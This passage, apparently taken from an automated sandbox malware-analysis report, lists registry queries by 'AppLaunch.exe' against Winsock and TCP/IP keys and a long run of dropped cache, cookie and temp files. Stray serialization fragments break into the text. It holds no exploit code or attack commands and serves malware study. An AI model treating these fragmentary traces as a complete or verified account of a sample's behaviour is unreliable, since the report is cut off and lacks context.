"HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "")84:T1427,Dropped file: "9DFE38F0CF4E54F251E86E53D05E8885" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\9DFE38F0CF4E54F251E86E53D05E8885]- [targetUID: 00000000-00003864] Dropped file: "UO2H6G3B.htm" - Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\UO2H6G3B.htm]- [targetUID: 00000000-00002936] Dropped file: "77EC63BDA74BD0D0E0426DC8F8008506" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002936] Dropped file: "imagestore.dat" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00000544] Dropped file: "en-US.4" - Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00002936] Dropped file: "70DAE932E3BCB3C00656A27B544BA9CA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00002952] Dropped file: "739F2FF4259CDC6CBE7B90F1A95601EF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00000544] Dropped file: "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003600] Dropped file: "646C991C2A28825F3CC56E0A1D1E3FA9" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00002952] Dropped file: "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00002952] Dropped file: "4748633DC5731827D4B432DBAC7A3ECE" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00002952] Dropped file: "69C6F6EC64E114822DF688DC12CDD86C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00002404] Dropped file: "0270780F846F08BEFE0DD8112D932FEF" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\0270780F846F08BEFE0DD8112D932FEF]- [targetUID: 00000000-00000544] Dropped file: "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00002952] Dropped file: "6B2043001D270792DFFD725518EAFE2C" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6B2043001D270792DFFD725518EAFE2C]- [targetUID: 00000000-00002936] Dropped file: "FOD9Q8F3.txt" - Location: [%APPDATA%\Microsoft\Windows\Cookies\FOD9Q8F3.txt]- [targetUID: 00000000-00003864] Dropped file: "A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_5B226F2301FD399CF34ABA67B4DC6AC8]- [targetUID: 00000000-00002016] Dropped file: "EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C31B2498754E340573F1336DE607D619]- [targetUID: 00000000-00002952] Dropped file: "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419]- [targetUID: 00000000-00003864] Dropped file: "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00002936] Dropped file: "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00002936] Dropped file: "35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_63BF650CC326FEDF447792693EE806B1]- [targetUID: 00000000-00000544] Dropped file: "59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\59D76868C250B3240414CE3EFBB12518_DB3354A21B46C492983D8DC6E09DCFAD]- [targetUID: 00000000-00003864] Dropped file: "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00002952] Dropped file: "F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC" - Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_57CE1AECC398AD2C94DD1A683EAD09FC]- [targetUID: 00000000-00002952]85:Tc007,"initAft()